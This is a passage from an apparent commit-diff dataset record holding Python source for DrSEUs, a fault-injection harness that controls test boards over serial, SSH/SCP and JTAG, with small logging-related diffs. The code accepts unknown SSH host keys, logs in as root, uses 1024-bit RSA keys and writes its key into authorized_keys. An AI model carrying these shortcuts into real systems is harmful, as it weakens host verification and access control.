serial_port=(options.dut_serial_port if not aux else options.aux_serial_port) baud_rate=(options.dut_baud_rate if not aux else options.aux_baud_rate) self.serial=Serial(port=None, baudrate=baud_rate, timeout=options.timeout, rtscts=True) if self.campaign_data['use_simics']: self.serial._dsrdtr=True self.serial.port=serial_port self.serial.open() self.serial.reset_input_buffer() self.prompt=options.dut_prompt if not aux else options.aux_prompt self.prompt +=' ' self.rsakey=rsakey def __str__(self): string=('Serial Port: '+self.serial.port+'\\n\\tTimeout: ' + str(self.serial.timeout)+' seconds\\n\\tPrompt: \\\"' + self.prompt+'\\\"') try: string +='\\n\\tIP Address: '+self.ip_address except AttributeError: pass string +='\\n\\tSCP Port: '+str(self.options.dut_scp_port if not self.aux else self.options.aux_scp_port) return string def close(self): self.serial.close() def send_files(self, files, attempts=10): if self.options.debug: print(colored('sending file(s)...', 'blue'), end='') ssh=SSHClient() ssh.set_missing_host_key_policy(AutoAddPolicy()) for attempt in range(attempts): try: ssh.connect(self.ip_address, port=(self.options.dut_scp_port if not self.aux else self.options.aux_scp_port), username='root', pkey=self.rsakey, allow_agent=False, look_for_keys=False) except Exception as error: if self.options.command !='new': with sql() as db: db.log_event_exception( self.result_data['id'], ('DUT' if not self.aux else 'AUX'), 'SSH error') print(colored( self.serial.port+' '+str(self.result_data['id'])+': ' 'error sending file(s)(attempt '+str(attempt+1)+'/' + str(attempts)+'): '+str(error), 'red')) if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.ssh_error) else: dut_scp=SCPClient(ssh.get_transport()) try: dut_scp.put(files) except Exception as error: if self.options.command !='new': with sql() as db: db.log_event_exception( self.result_data['id'], ('DUT' if not self.aux else 'AUX'), 'SCP error') print(colored( self.serial.port+' '+str(self.result_data['id'])+': ' 'error sending file(s)(attempt '+str(attempt+1)+'/' + str(attempts)+'): '+str(error), 'red')) dut_scp.close() ssh.close() if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.scp_error) else: dut_scp.close() ssh.close() if self.options.debug: print(colored('done', 'blue')) break def get_file(self, file_, local_path='', attempts=10): if self.options.debug: print(colored('getting file...', 'blue'), end='') sys.stdout.flush() ssh=SSHClient() ssh.set_missing_host_key_policy(AutoAddPolicy()) for attempt in range(attempts): try: ssh.connect(self.ip_address, port=(self.options.dut_scp_port if not self.aux else self.options.aux_scp_port), username='root', pkey=self.rsakey, allow_agent=False, look_for_keys=False) except Exception as error: if self.options.command !='new': with sql() as db: db.log_event_exception( self.result_data['id'], ('DUT' if not self.aux else 'AUX'), 'SSH error') print(colored( self.serial.port+' '+str(self.result_data['id'])+': ' 'error receiving file(attempt '+str(attempt+1)+'/' + str(attempts)+'): '+str(error), 'red')) if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.ssh_error) else: dut_scp=SCPClient(ssh.get_transport()) try: dut_scp.get(file_, local_path=local_path) except: if self.options.command !='new': with sql() as db: db.log_event_exception( self.result_data['id'], ('DUT' if not self.aux else 'AUX'), 'SCP error') print(colored( self.serial.port+' '+str(self.result_data['id'])+': ' 'error receiving file(attempt '+str(attempt+1)+'/' + str(attempts)+'): '+str(error), 'red')) dut_scp.close() ssh.close() if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.scp_error) else: dut_scp.close() ssh.close() if self.options.debug: print(colored('done', 'blue')) break def write(self, string): self.serial.write(bytes(string, encoding='utf-8')) def read_until(self, string=None, continuous=False, boot=False): if string is None: string=self.prompt buff='' event_buff='' event_buff_logged='' errors=0 while True: char=self.serial.read().decode('utf-8', 'replace') if not char: if self.options.command !='new': with sql() as db: event_buff=buff.replace(event_buff_logged, '') db.log_event(self.result_data['id'], ('DUT' if not self.aux else 'AUX'), 'Read timeout', event_buff) event_buff_logged +=event_buff if not continuous: break if self.options.command=='new': self.campaign_data['dut_output' if not self.aux else 'aux_output'] +=char else: self.result_data['dut_output' if not self.aux else 'aux_output'] +=char if self.options.debug: print(colored(char, 'green' if not self.aux else 'cyan'), end='') sys.stdout.flush() buff +=char if not continuous and buff[-len(string):]==string: break elif buff[-len('autoboot: '):]=='autoboot: ' and \\ self.uboot_command: self.write('\\n') self.write(self.uboot_command+'\\n') elif buff[-len('login: '):]=='login: ': self.write(self.options.username+'\\n') elif buff[-len('Password: '):]=='Password: ': self.write(self.options.password+'\\n') elif buff[-len('can\\'t get kernel image'):]==\\ 'can\\'t get kernel image': self.write('reset\\n') errors +=1 for message, category in self.error_messages: if buff[-len(message):]==message: if not continuous and not boot: self.serial.timeout=30 errors +=1 if self.options.command !='new' and not(boot): with sql() as db: event_buff=buff.replace(event_buff_logged, '') db.log_event(self.result_data['id'], ('DUT' if not self.aux else 'AUX'), category, event_buff) event_buff_logged +=event_buff if not continuous and errors > 10: break if not boot and buff and buff[-1]=='\\n': with sql() as db: if self.options.command=='new': db.update_dict('campaign', self.campaign_data) else: db.update_dict('result', self.result_data) if self.serial.timeout !=self.options.timeout: self.serial.timeout=self.options.timeout if self.options.debug: print() with sql() as db: if self.options.command=='new': db.update_dict('campaign', self.campaign_data) else: db.update_dict('result', self.result_data) if errors and not boot: for message, category in self.error_messages: if message in buff: raise DrSEUsError(category) return buff def command(self, command=''): self.write(command+'\\n') return self.read_until() def do_login(self, ip_address=None, change_prompt=False, simics=False): self.write('\\n') self.read_until(boot=True) if change_prompt: self.write('export PS1=\\\"DrSEUs self.read_until('export PS1=\\\"DrSEUs self.prompt='DrSEUs self.read_until() self.command('mkdir ~/.ssh') self.command('touch ~/.ssh/authorized_keys') self.command('echo \\\"ssh-rsa '+self.rsakey.get_base64() + '\\\" > ~/.ssh/authorized_keys') if ip_address is None: attempts=10 for attempt in range(attempts): for line in self.command('ip addr show').split('\\n'): line=line.strip().split() if len(line) > 0 and line[0]=='inet': addr=line[1].split('/')[0] if addr !='127.0.0.1': ip_address=addr break else: if attempt < attempts-1: sleep(5) else: raise DrSEUsError('Error finding device ip address') if ip_address is not None: break else: self.command('ip addr add '+ip_address+'/24 dev eth0') self.command('ip link set eth0 up') self.command('ip addr show') if simics: self.ip_address='127.0.0.1' else: self.ip_address=ip_address ", "sourceWithComments": "from paramiko import AutoAddPolicy, SSHClient\nfrom scp import SCPClient\nfrom serial import Serial\nimport sys\nfrom termcolor import colored\nfrom time import sleep\n\nfrom error import DrSEUsError\nfrom sql import sql\n\n\nclass dut(object):\n error_messages = [\n ('drseus_sighandler: SIGSEGV', 'Signal SIGSEGV'),\n ('drseus_sighandler: SIGILL', 'Signal SIGILL'),\n ('drseus_sighandler: SIGBUS', 'Signal SIGBUS'),\n ('drseus_sighandler: SIGFPE', 'Signal SIGFPE'),\n ('drseus_sighandler: SIGABRT', 'Signal SIGABRT'),\n ('drseus_sighandler: SIGIOT', 'Signal SIGIOT'),\n ('drseus_sighandler: SIGTRAP', 'Signal SIGTRAP'),\n ('drseus_sighandler: SIGSYS', 'Signal SIGSYS'),\n ('drseus_sighandler: SIGEMT', 'Signal SIGEMT'),\n ('command not found', 'Invalid command'),\n ('No such file or directory', 'Missing file'),\n ('panic', 'Kernel error'),\n ('Oops', 'Kernel error'),\n ('Segmentation fault', 'Segmentation fault'),\n ('Illegal instruction', 'Illegal instruction'),\n ('Call Trace:', 'Kernel error'),\n ('detected stalls on CPU', 'Stall detected'),\n ('malloc(), memory corruption', 'Kernel error'),\n ('Bad swap file entry', 'Kernel error'),\n ('Unable to handle kernel paging request', 'Kernel error'),\n ('Alignment trap', 'Kernel error'),\n ('Unhandled fault', 'Kernel error'),\n ('free(), invalid next size', 'Kernel error'),\n ('double free or corruption', 'Kernel error'),\n ('????????', '????????'),\n ('Hit any key to stop autoboot:', 'Reboot'),\n ('can\\'t get kernel image', 'Error booting')]\n\n def __init__(self, campaign_data, result_data, options, rsakey, aux=False):\n self.campaign_data = campaign_data\n self.result_data = result_data\n self.options = options\n self.aux = aux\n self.uboot_command = self.options.dut_uboot if not self.aux \\\n else self.options.aux_uboot\n serial_port = (options.dut_serial_port if not aux\n else options.aux_serial_port)\n baud_rate = (options.dut_baud_rate if not aux\n else options.aux_baud_rate)\n self.serial = Serial(port=None, baudrate=baud_rate,\n timeout=options.timeout, rtscts=True)\n if self.campaign_data['use_simics']:\n # workaround for pyserial 3\n self.serial._dsrdtr = True\n self.serial.port = serial_port\n self.serial.open()\n self.serial.reset_input_buffer()\n self.prompt = options.dut_prompt if not aux else options.aux_prompt\n self.prompt += ' '\n self.rsakey = rsakey\n\n def __str__(self):\n string = ('Serial Port: '+self.serial.port+'\\n\\tTimeout: ' +\n str(self.serial.timeout)+' seconds\\n\\tPrompt: \\\"' +\n self.prompt+'\\\"')\n try:\n string += '\\n\\tIP Address: '+self.ip_address\n except AttributeError:\n pass\n string += '\\n\\tSCP Port: '+str(self.options.dut_scp_port if not self.aux\n else self.options.aux_scp_port)\n return string\n\n def close(self):\n self.serial.close()\n\n def send_files(self, files, attempts=10):\n if self.options.debug:\n print(colored('sending file(s)...', 'blue'), end='')\n ssh = SSHClient()\n ssh.set_missing_host_key_policy(AutoAddPolicy())\n for attempt in range(attempts):\n try:\n ssh.connect(self.ip_address, port=(self.options.dut_scp_port\n if not self.aux else\n self.options.aux_scp_port),\n username='root', pkey=self.rsakey,\n allow_agent=False, look_for_keys=False)\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n db.log_event_exception(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n 'SSH error')\n print(colored(\n self.serial.port+' '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.ssh_error)\n else:\n dut_scp = SCPClient(ssh.get_transport())\n try:\n dut_scp.put(files)\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n db.log_event_exception(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n 'SCP error')\n print(colored(\n self.serial.port+' '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n ssh.close()\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.scp_error)\n else:\n dut_scp.close()\n ssh.close()\n if self.options.debug:\n print(colored('done', 'blue'))\n break\n\n def get_file(self, file_, local_path='', attempts=10):\n if self.options.debug:\n print(colored('getting file...', 'blue'), end='')\n sys.stdout.flush()\n ssh = SSHClient()\n ssh.set_missing_host_key_policy(AutoAddPolicy())\n for attempt in range(attempts):\n try:\n ssh.connect(self.ip_address, port=(self.options.dut_scp_port\n if not self.aux else\n self.options.aux_scp_port),\n username='root', pkey=self.rsakey,\n allow_agent=False, look_for_keys=False)\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n db.log_event_exception(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n 'SSH error')\n print(colored(\n self.serial.port+' '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.ssh_error)\n else:\n dut_scp = SCPClient(ssh.get_transport())\n try:\n dut_scp.get(file_, local_path=local_path)\n except:\n if self.options.command != 'new':\n with sql() as db:\n db.log_event_exception(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n 'SCP error')\n print(colored(\n self.serial.port+' '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n ssh.close()\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.scp_error)\n else:\n dut_scp.close()\n ssh.close()\n if self.options.debug:\n print(colored('done', 'blue'))\n break\n\n def write(self, string):\n self.serial.write(bytes(string, encoding='utf-8'))\n\n def read_until(self, string=None, continuous=False, boot=False):\n if string is None:\n string = self.prompt\n buff = ''\n event_buff = ''\n event_buff_logged = ''\n errors = 0\n while True:\n char = self.serial.read().decode('utf-8', 'replace')\n if not char:\n if self.options.command != 'new':\n with sql() as db:\n event_buff = buff.replace(event_buff_logged, '')\n db.log_event(self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n 'Read timeout', event_buff)\n event_buff_logged += event_buff\n if not continuous:\n break\n if self.options.command == 'new':\n self.campaign_data['dut_output' if not self.aux\n else 'aux_output'] += char\n else:\n self.result_data['dut_output' if not self.aux\n else 'aux_output'] += char\n if self.options.debug:\n print(colored(char, 'green' if not self.aux else 'cyan'),\n end='')\n sys.stdout.flush()\n buff += char\n if not continuous and buff[-len(string):] == string:\n break\n elif buff[-len('autoboot: '):] == 'autoboot: ' and \\\n self.uboot_command:\n self.write('\\n')\n self.write(self.uboot_command+'\\n')\n elif buff[-len('login: '):] == 'login: ':\n self.write(self.options.username+'\\n')\n elif buff[-len('Password: '):] == 'Password: ':\n self.write(self.options.password+'\\n')\n elif buff[-len('can\\'t get kernel image'):] == \\\n 'can\\'t get kernel image':\n self.write('reset\\n')\n errors += 1\n for message, category in self.error_messages:\n if buff[-len(message):] == message:\n if not continuous and not boot:\n self.serial.timeout = 30\n errors += 1\n if self.options.command != 'new' and not (boot):\n # boot and category == 'Reboot'):\n with sql() as db:\n event_buff = buff.replace(event_buff_logged, '')\n db.log_event(self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n category, event_buff)\n event_buff_logged += event_buff\n if not continuous and errors > 10:\n break\n if not boot and buff and buff[-1] == '\\n':\n with sql() as db:\n if self.options.command == 'new':\n db.update_dict('campaign', self.campaign_data)\n else:\n db.update_dict('result', self.result_data)\n if self.serial.timeout != self.options.timeout:\n self.serial.timeout = self.options.timeout\n if self.options.debug:\n print()\n with sql() as db:\n if self.options.command == 'new':\n db.update_dict('campaign', self.campaign_data)\n else:\n db.update_dict('result', self.result_data)\n if errors and not boot:\n for message, category in self.error_messages:\n if message in buff:\n raise DrSEUsError(category)\n return buff\n\n def command(self, command=''):\n self.write(command+'\\n')\n return self.read_until()\n\n def do_login(self, ip_address=None, change_prompt=False, simics=False):\n # try:\n self.write('\\n')\n self.read_until(boot=True)\n # except DrSEUsError as error:\n # if error.type == 'Reboot':\n # pass\n # else:\n # raise DrSEUsError(error.type)\n if change_prompt:\n self.write('export PS1=\\\"DrSEUs# \\\"\\n')\n self.read_until('export PS1=\\\"DrSEUs# \\\"')\n self.prompt = 'DrSEUs# '\n self.read_until()\n self.command('mkdir ~/.ssh')\n self.command('touch ~/.ssh/authorized_keys')\n self.command('echo \\\"ssh-rsa '+self.rsakey.get_base64() +\n '\\\" > ~/.ssh/authorized_keys')\n if ip_address is None:\n attempts = 10\n for attempt in range(attempts):\n for line in self.command('ip addr show').split('\\n'):\n line = line.strip().split()\n if len(line) > 0 and line[0] == 'inet':\n addr = line[1].split('/')[0]\n if addr != '127.0.0.1':\n ip_address = addr\n break\n else:\n if attempt < attempts-1:\n sleep(5)\n else:\n raise DrSEUsError('Error finding device ip address')\n if ip_address is not None:\n break\n else:\n self.command('ip addr add '+ip_address+'/24 dev eth0')\n self.command('ip link set eth0 up')\n self.command('ip addr show')\n if simics:\n self.ip_address = '127.0.0.1'\n else:\n self.ip_address = ip_address\n"}, "/fault_injector.py": {"changes": [{"diff": "\n return outcome, outcome_category\n \n def log_result(self):\n- out = ''\n- try:\n- out += self.debugger.dut.serial.port+' '\n- except AttributeError:\n- pass\n- out += (str(self.result_data['id'])+': ' +\n- self.result_data['outcome_category']+' - ' +\n- self.result_data['outcome'])\n+ out = (self.debugger.dut.serial.port+', '+str(self.result_data['id']) +\n+ ': '+self.result_data['outcome_category']+' - ' +\n+ self.result_data['outcome'])\n if self.result_data['data_diff'] is not None and \\\n self.result_data['data_diff'] < 1.0:\n out += ' {0:.2f}%'.format(max(self.result_data['data_diff']*100,\n", "add": 3, "remove": 8, "filename": "/fault_injector.py", "badparts": [" out = ''", " try:", " out += self.debugger.dut.serial.port+' '", " except AttributeError:", " pass", " out += (str(self.result_data['id'])+': ' +", " self.result_data['outcome_category']+' - ' +", " self.result_data['outcome'])"], "goodparts": [" out = (self.debugger.dut.serial.port+', '+str(self.result_data['id']) +", " ': '+self.result_data['outcome_category']+' - ' +", " self.result_data['outcome'])"]}, {"diff": "\n self.debugger.reset_dut()\n except Exception as error:\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n 'Debugger', # TODO: update source\n- 'Error resetting DUT')\n+ 'Error resetting DUT', exception=True)\n print(colored(\n- self.debugger.dut.serial.port+' ' +\n+ self.debugger.dut.serial.port+', ' +\n str(self.result_data['id'])+': '\n 'Error resetting DUT (attempt '+str(attempt+1) +\n '/'+str(attempts)+'): '+str(error), 'red'", "add": 3, "remove": 3, "filename": "/fault_injector.py", "badparts": [" db.log_event_exception(", " 'Error resetting DUT')", " self.debugger.dut.serial.port+' ' +"], "goodparts": [" db.log_event_trace(", " 'Error resetting DUT', exception=True)", " self.debugger.dut.serial.port+', ' +"]}], "source": "\nfrom difflib import SequenceMatcher import os from paramiko import RSAKey from shutil import copy, rmtree from subprocess import PIPE, Popen from termcolor import colored from threading import Thread from time import sleep from error import DrSEUsError from jtag import bdi_p2020, openocd from simics import simics from sql import sql class fault_injector(object): def __init__(self, campaign_data, options): self.campaign_data=campaign_data self.options=options self.result_data={'campaign_id': self.campaign_data['id'], 'aux_output': '', 'data_diff': None, 'debugger_output': '', 'detected_errors': None, 'dut_output': ''} if os.path.exists( 'campaign-data/'+str(campaign_data['id'])+'/private.key'): self.rsakey=RSAKey.from_private_key_file( 'campaign-data/'+str(campaign_data['id'])+'/private.key') else: self.rsakey=RSAKey.generate(1024) self.rsakey.write_private_key_file( 'campaign-data/'+str(campaign_data['id'])+'/private.key') if self.campaign_data['use_simics']: self.debugger=simics(campaign_data, self.result_data, options, self.rsakey) else: if campaign_data['architecture']=='p2020': self.debugger=bdi_p2020(campaign_data, self.result_data, options, self.rsakey) elif campaign_data['architecture']=='a9': self.debugger=openocd(campaign_data, self.result_data, options, self.rsakey) if not self.campaign_data['use_simics']: if self.campaign_data['use_aux']: self.debugger.aux.serial.write('\\x03') self.debugger.aux.do_login() if options.command !='new': self.send_dut_files(aux=True) if options.command=='new': self.debugger.reset_dut() def __str__(self): string=('DrSEUs Attributes:\\n\\tDebugger: '+str(self.debugger) + '\\n\\tDUT:\\t'+str(self.debugger.dut).replace('\\n\\t', '\\n\\t\\t')) if self.campaign_data['use_aux']: string +='\\n\\tAUX:\\t'+str(self.debugger.aux).replace('\\n\\t', '\\n\\t\\t') string +=('\\n\\tCampaign Information:\\n\\t\\tCampaign Number: ' + str(self.campaign_data['id'])+'\\n\\t\\tDUT Command: \\\"' + self.campaign_data['command']+'\\\"') if self.campaign_data['use_aux']: string +=('\\n\\t\\tAUX Command: \\\"' + self.campaign_data['aux_command']+'\\\"') string +=('\\n\\t\\t' + ('Host 'if self.campaign_data['use_simics'] else '') + 'Execution Time: ' + str(self.campaign_data['exec_time'])+' seconds') if self.campaign_data['use_simics']: string +=('\\n\\t\\tExecution Cycles: ' + '{:,}'.format(self.campaign_data['num_cycles']) + ' cycles\\n\\t\\tSimulated Time: ' + str(self.campaign_data['sim_time'])+' seconds') return string def close(self): if not self.campaign_data['use_simics']: self.debugger.close() def setup_campaign(self): files=[] files.append(self.options.directory+'/'+self.options.application) if self.options.files: for file_ in self.options.files: files.append(self.options.directory+'/'+file_) os.makedirs('campaign-data/'+str(self.campaign_data['id'])+'/dut-files') for item in files: copy(item, 'campaign-data/'+str(self.campaign_data['id']) + '/dut-files/') if self.campaign_data['use_aux']: aux_files=[] aux_files.append(self.options.directory+'/' + self.options.aux_application) if self.options.aux_files: for file_ in self.options.aux_files: aux_files.append( self.options.directory+'/'+file_) os.makedirs('campaign-data/'+str(self.campaign_data['id']) + '/aux-files') for item in aux_files: copy(item, 'campaign-data/'+str(self.campaign_data['id']) + '/aux-files/') aux_process=Thread(target=self.debugger.aux.send_files, args=(aux_files,)) aux_process.start() self.debugger.dut.send_files(files) if self.campaign_data['use_aux']: aux_process.join() aux_process=Thread(target=self.debugger.aux.command) aux_process.start() self.debugger.dut.command() if self.campaign_data['use_aux']: aux_process.join() self.debugger.time_application() if self.campaign_data['output_file']: if self.campaign_data['use_aux_output']: self.debugger.aux.get_file( self.campaign_data['output_file'], 'campaign-data/'+str(self.campaign_data['id'])+'/gold_' + self.campaign_data['output_file']) else: self.debugger.dut.get_file( self.campaign_data['output_file'], 'campaign-data/'+str(self.campaign_data['id'])+'/gold_' + self.campaign_data['output_file']) if self.campaign_data['use_simics']: self.debugger.close() with sql() as db: db.update_dict('campaign', self.campaign_data) self.close() def send_dut_files(self, aux=False): location='campaign-data/'+str(self.campaign_data['id']) if aux: location +='/aux-files/' else: location +='/dut-files/' files=[] for item in os.listdir(location): files.append(location+item) if aux: self.debugger.aux.send_files(files) else: self.debugger.dut.send_files(files) def create_result(self, num_injections=0, outcome_category='Incomplete', outcome='Incomplete'): self.result_data.update({'aux_output': '', 'data_diff': None, 'debugger_output': '', 'detected_errors': None, 'dut_output': '', 'num_injections': num_injections, 'outcome_category': outcome_category, 'outcome': outcome, 'timestamp': None}) if 'id' in self.result_data: del self.result_data['id'] with sql() as db: db.insert_dict('result', self.result_data) self.result_data['id']=db.cursor.lastrowid db.insert_dict('injection',{'result_id': self.result_data['id'], 'injection_number': 0}) def __monitor_execution(self, latent_faults=0, persistent_faults=False): def check_output(): missing_output=False result_folder=('campaign-data/'+str(self.campaign_data['id'])+'/' 'results/'+str(self.result_data['id'])) os.makedirs(result_folder) output_location=\\ result_folder+'/'+self.campaign_data['output_file'] gold_location=('campaign-data/'+str(self.campaign_data['id'])+'/' 'gold_'+self.campaign_data['output_file']) if self.campaign_data['use_aux_output']: self.debugger.aux.get_file(self.campaign_data['output_file'], output_location) else: self.debugger.dut.get_file(self.campaign_data['output_file'], output_location) if not os.listdir(result_folder): os.rmdir(result_folder) missing_output=True else: with open(gold_location, 'rb') as solution: solutionContents=solution.read() with open(output_location, 'rb') as result: resultContents=result.read() self.result_data['data_diff']=SequenceMatcher( None, solutionContents, resultContents).quick_ratio() if self.result_data['data_diff']==1.0: os.remove(output_location) if not os.listdir(result_folder): os.rmdir(result_folder) if self.campaign_data['use_aux_output']: self.debugger.aux.command('rm ' + self.campaign_data['output_file']) else: self.debugger.dut.command('rm ' + self.campaign_data['output_file']) if missing_output: raise DrSEUsError(DrSEUsError.missing_output) outcome='' outcome_category='' if self.campaign_data['use_aux']: try: aux_buff=self.debugger.aux.read_until() except DrSEUsError as error: aux_buff='' self.debugger.dut.serial.write('\\x03') outcome=error.type outcome_category='AUX execution error' else: if self.campaign_data['kill_dut']: self.debugger.dut.serial.write('\\x03') try: buff=self.debugger.dut.read_until() except DrSEUsError as error: buff='' outcome=error.type outcome_category='Execution error' for line in buff.split('\\n'): if 'drseus_detected_errors:' in line: self.result_data['detected_errors']=\\ int(line.replace('drseus_detected_errors:', '')) break if self.campaign_data['use_aux']: for line in aux_buff.split('\\n'): if 'drseus_detected_errors:' in line: if self.result_data['detected_errors'] is None: self.result_data['detected_errors']=0 self.result_data['detected_errors'] +=\\ int(line.replace('drseus_detected_errors:', '')) break if self.campaign_data['output_file'] and not outcome: try: check_output() except DrSEUsError as error: if error.type==DrSEUsError.scp_error: outcome='Error getting output file' outcome_category='SCP error' elif error.type==DrSEUsError.missing_output: outcome='Missing output file' outcome_category='SCP error' else: outcome=error.type outcome_category='Post execution error' if not outcome: if self.result_data['detected_errors']: if self.result_data['data_diff'] is None or \\ self.result_data['data_diff'] < 1.0: outcome='Detected data error' outcome_category='Data error' elif self.result_data['data_diff'] is not None and \\ self.result_data['data_diff']==1: outcome='Corrected data error' outcome_category='Data error' elif self.result_data['data_diff'] is not None and \\ self.result_data['data_diff'] < 1.0: outcome='Silent data error' outcome_category='Data error' elif persistent_faults: outcome='Persistent faults' outcome_category='No error' elif latent_faults: outcome='Latent faults' outcome_category='No error' else: outcome='Masked faults' outcome_category='No error' return outcome, outcome_category def log_result(self): out='' try: out +=self.debugger.dut.serial.port+' ' except AttributeError: pass out +=(str(self.result_data['id'])+': ' + self.result_data['outcome_category']+' -' + self.result_data['outcome']) if self.result_data['data_diff'] is not None and \\ self.result_data['data_diff'] < 1.0: out +='{0:.2f}%'.format(max(self.result_data['data_diff']*100, 99.99)) print(colored(out, 'blue')) with sql() as db: db.cursor.execute('SELECT COUNT(*) FROM log_injection ' 'WHERE result_id=?',(self.result_data['id'],)) if db.cursor.fetchone()[0] > 1: db.cursor.execute('DELETE FROM log_injection WHERE ' 'result_id=? AND injection_number=0', (self.result_data['id'],)) db.update_dict('result', self.result_data) def inject_and_monitor(self, iteration_counter): while True: if iteration_counter is not None: with iteration_counter.get_lock(): iteration=iteration_counter.value if iteration: iteration_counter.value -=1 else: break self.create_result(self.options.injections) if not self.campaign_data['use_simics']: attempts=10 for attempt in range(attempts): try: self.debugger.reset_dut() except Exception as error: with sql() as db: db.log_event_exception( self.result_data['id'], 'Debugger', 'Error resetting DUT') print(colored( self.debugger.dut.serial.port+' ' + str(self.result_data['id'])+': ' 'Error resetting DUT(attempt '+str(attempt+1) + '/'+str(attempts)+'): '+str(error), 'red')) if attempt < attempts-1: sleep(30) else: self.result_data.update({ 'outcome_category': 'Debugger error', 'outcome': 'Error resetting dut'}) self.log_result() self.close() return else: break try: self.send_dut_files() except DrSEUsError as error: self.result_data.update({ 'outcome_category': error.type, 'outcome': 'Error sending files to DUT'}) self.log_result() continue if self.campaign_data['use_aux'] and \\ not self.campaign_data['use_simics']: self.debugger.aux.write('./'+self.campaign_data['aux_command'] + '\\n') try: latent_faults, persistent_faults=self.debugger.inject_faults() self.debugger.continue_dut() except DrSEUsError as error: self.result_data['outcome']=error.type if self.campaign_data['use_simics']: self.result_data['outcome_category']='Simics error' else: self.result_data['outcome_category']='Debugger error' if not self.campaign_data['use_simics']: try: self.debugger.continue_dut() if self.campaign_data['use_aux']: aux_process=Thread( target=self.debugger.aux.read_until) aux_process.start() self.debugger.dut.read_until() if self.campaign_data['use_aux']: aux_process.join() except DrSEUsError: pass else: (self.result_data['outcome'], self.result_data['outcome_category'])=\\ self.__monitor_execution(latent_faults, persistent_faults) if self.result_data['outcome']=='Latent faults' or \\ (not self.campaign_data['use_simics'] and self.result_data['outcome']=='Masked faults'): if self.campaign_data['use_aux']: self.debugger.aux.write( './'+self.campaign_data['aux_command']+'\\n') self.debugger.dut.write('./'+self.campaign_data['command'] + '\\n') next_outcome=self.__monitor_execution()[0] if next_outcome !='Masked faults': self.result_data.update({ 'outcome_category': 'Post execution error', 'outcome': next_outcome}) if self.campaign_data['use_simics']: try: self.debugger.close() except DrSEUsError as error: self.result_data.update({ 'outcome_category': 'Simics error', 'outcome': error.type}) finally: rmtree('simics-workspace/injected-checkpoints/' + str(self.campaign_data['id'])+'/' + str(self.result_data['id'])) self.log_result() self.close() def supervise(self, iteration_counter, packet_capture): interrupted=False while not interrupted: with iteration_counter.get_lock(): iteration=iteration_counter.value if iteration: iteration_counter.value -=1 else: break self.create_result() if packet_capture: data_dir=('campaign-data/'+str(self.campaign_data['id']) + '/results/'+str(self.result_data['id'])) os.makedirs(data_dir) capture_file=open(data_dir+'/capture.pcap', 'w') capture_process=Popen( ['ssh', 'p2020', 'tshark -F pcap -i eth1 -w -'], stderr=PIPE, stdout=capture_file) buff='' while True: buff +=capture_process.stderr.read(1) if buff[-len('Capturing on \\'eth1\\''):]==\\ 'Capturing on \\'eth1\\'': break if self.campaign_data['use_aux']: self.debugger.aux.write('./'+self.campaign_data['aux_command'] + '\\n') self.debugger.dut.write('./'+self.campaign_data['command']+'\\n') try: (self.result_data['outcome'], self.result_data['outcome_category'])=\\ self.__monitor_execution() except KeyboardInterrupt: if self.campaign_data['use_simics']: self.debugger.continue_dut() self.debugger.dut.serial.write('\\x03') self.debugger.dut.read_until() if self.campaign_data['use_aux']: self.debugger.aux.serial.write('\\x03') self.debugger.aux.read_until() self.result_data.update({ 'outcome_category': 'Incomplete', 'outcome': 'Interrupted'}) interrupted=True self.log_result() if packet_capture: os.system('ssh p2020 \\'killall tshark\\'') capture_process.wait() capture_file.close() ", "sourceWithComments": "from difflib import SequenceMatcher\nimport os\nfrom paramiko import RSAKey\nfrom shutil import copy, rmtree\nfrom subprocess import PIPE, Popen\nfrom termcolor import colored\nfrom threading import Thread\nfrom time import sleep\n\nfrom error import DrSEUsError\nfrom jtag import bdi_p2020, openocd\nfrom simics import simics\nfrom sql import sql\n\n\nclass fault_injector(object):\n def __init__(self, campaign_data, options):\n self.campaign_data = campaign_data\n self.options = options\n self.result_data = {'campaign_id': self.campaign_data['id'],\n 'aux_output': '',\n 'data_diff': None,\n 'debugger_output': '',\n 'detected_errors': None,\n 'dut_output': ''}\n if os.path.exists(\n 'campaign-data/'+str(campaign_data['id'])+'/private.key'):\n self.rsakey = RSAKey.from_private_key_file(\n 'campaign-data/'+str(campaign_data['id'])+'/private.key')\n else:\n self.rsakey = RSAKey.generate(1024)\n self.rsakey.write_private_key_file(\n 'campaign-data/'+str(campaign_data['id'])+'/private.key')\n if self.campaign_data['use_simics']:\n self.debugger = simics(campaign_data, self.result_data, options,\n self.rsakey)\n else:\n if campaign_data['architecture'] == 'p2020':\n self.debugger = bdi_p2020(campaign_data, self.result_data,\n options, self.rsakey)\n elif campaign_data['architecture'] == 'a9':\n self.debugger = openocd(campaign_data, self.result_data,\n options, self.rsakey)\n if not self.campaign_data['use_simics']:\n if self.campaign_data['use_aux']:\n self.debugger.aux.serial.write('\\x03')\n 